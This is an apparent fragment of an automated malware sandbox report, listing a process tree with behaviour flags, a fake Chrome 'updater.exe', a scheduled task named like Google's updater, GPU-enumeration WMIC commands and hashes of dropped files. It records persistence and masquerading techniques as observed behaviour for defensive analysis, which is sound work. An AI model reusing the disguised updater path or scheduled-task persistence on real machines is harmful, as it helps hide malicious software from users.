- Suspicious behavior: EnumeratesProcesses
PID:2400
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C:\Windows\System32\choice.exechoice /C Y /N /D Y /T 31⤵PID:1152
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C:\Program Files\Google\Chrome\updater.exe"C:\Program Files\Google\Chrome\updater.exe"1⤵
- Suspicious use of NtCreateUserProcessOtherParentProcess
- Executes dropped EXE
- Suspicious use of SetThreadContext
- Drops file in Program Files directory
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of WriteProcessMemory
PID:436 -
C:\Windows\System32\cmd.exeC:\Windows\System32\cmd.exe /c wmic PATH Win32_VideoController GET Name, VideoProcessor > "C:\Program Files\Google\Libs\g.log"2⤵
- Drops file in Program Files directory
- Suspicious use of WriteProcessMemory
PID:1392
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C:\Windows\system32\schtasks.exe"C:\Windows\system32\schtasks.exe" /run /tn GoogleUpdateTaskMachineQC1⤵PID:3456
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C:\Windows\System32\Wbem\WMIC.exewmic PATH Win32_VideoController GET Name, VideoProcessor1⤵
- Detects videocard installed
PID:2332
Network
MITRE ATT&CK Enterprise v15
Replay Monitor
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Downloads
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Filesize
62KB
MD5a64a03349f8e727ad87b3da27f041bc4
SHA1924b0fe0d8873fc57e9b3cd75dd00de2f1d0d087
SHA2564aedeed81d5b5d65415731757b00211fdc54628e79f9e6c9119c81c8f724eaac
SHA51251a633db7229b36ab2dd15d10ce5fb826c632cd85789636e8faae20a808a4e3b72a32fca11a5748c2d95f2d18960e6ff76529f8829afc3bc30da61ed3e70f7ff
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Filesize
21KB
MD5ab127c27ae96105fddf71f36d85f1de2
SHA1d5d9fb97cb6d09f2ed94c441c43b1622cf2974ae
SHA256f5823d775a60fb1b75505b82a73e328418209f810d2df9f402986d03ed6eefbe
SHA512a62b6577a005bfa0a8691d1680af1dbf7c43665644cecfcb8ad48447d3e4ce4eaae8bfd9601f81b51e6a547b836a96c1a67a4eceebdcf3848e9517f054b72a41
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Filesize
226B
MD5fdba80d4081c28c65e32fff246dc46cb
SHA174f809dedd1fc46a3a63ac9904c80f0b817b3686
SHA256b9a385645ec2edddbc88b01e6b21362c14e9d7895712e67d375874eb7308e398
SHA512b24a6784443c85bb56f8ae401ad4553c0955f587671ec7960bda737901d677d5e15d1a47d3674505fc98ea09ede2e5078a0aeb4481d3728e6715f3eac557cd29
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Filesize
2KB
MD5d85ba6ff808d9e5444a4b369f5bc2730
SHA131aa9d96590fff6981b315e0b391b575e4c0804a
SHA25684739c608a73509419748e4e20e6cc4e1846056c3fe1929a8300d5a1a488202f
SHA5128c414eb55b45212af385accc16d9d562adba2123583ce70d22b91161fe878683845512a78f04dedd4ea98ed9b174dbfa98cf696370598ad8e6fbd1e714f1f249
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Filesize
944B
MD56d3e9c29fe44e90aae6ed30ccf799ca8
SHA1c7974ef72264bbdf13a2793ccf1aed11bc565dce
SHA2562360634e63e8f0b5748e2c56ebb8f4aa78e71008ea7b5c9ca1c49be03b49557d
SHA51260c38c4367352537545d859f64b9c5cbada94240478d1d039fd27b5ecba4dc1c90051557c16d802269703b873546ead416279c0a80c6fd5e49ad361cef22596a
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Filesize
1KB
MD5d5cbd2fca9cb176ad25444fa061f848d
SHA1720cbda940ec7c13e9c0fb6f4725dd281507a94b
SHA2564e210dede619a6a139357f24d89df3e27d92519b3cc9bb9fcd0bbb8158f65230
SHA512fb80bcd8e49fff4d4a4fcb5844691d674cd749cbc84b75feac37b83401b8beff0ee9c6f122f683c98da9b5ab15d4dd803c7e2aea8721f90f60dbb9d19c9a0eb2
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Filesize
60B
MD5d17fe0a3f47be24a6453e9ef58c94641
SHA16ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA25696ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
SHA5125b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82
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C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log
Filesize4KB
MD57b1fe6890101f73a0c9796d8d585b168
SHA156eb99ee341b880cf7a80ebc705371aea87b3743
SHA25693ea56ad38069dbc3d1ae192afd3f3dc8704e9298752f73729b95cf3298dcaca
SHA512fe73cccfadc916f613fbcc7a80ec82ae1228ea2aa28bba4515851e82463e76942ff3a3d6bcc78ea666a841d89220fb49b8fa52279985e88fe0aec6728f21aefa
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C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
Filesize1KB
MD52722730a0cf82161fb1452b600334796
SHA14479415f50cd9ab55c4f7bcdc1a0a5177492f053
SHA256a44ba59eb52b4d6555065fa840ac7162080eb538e6b6a47198fe4961d0297833
SHA51254ec97b79003db56fb1ca44b33a1c2a9748014a3c1dc84fdb2afca84d3c6618ad88ccb353d52078789e3e0ed0ee6c763a74bf34cea1334e427a264db9171dfb0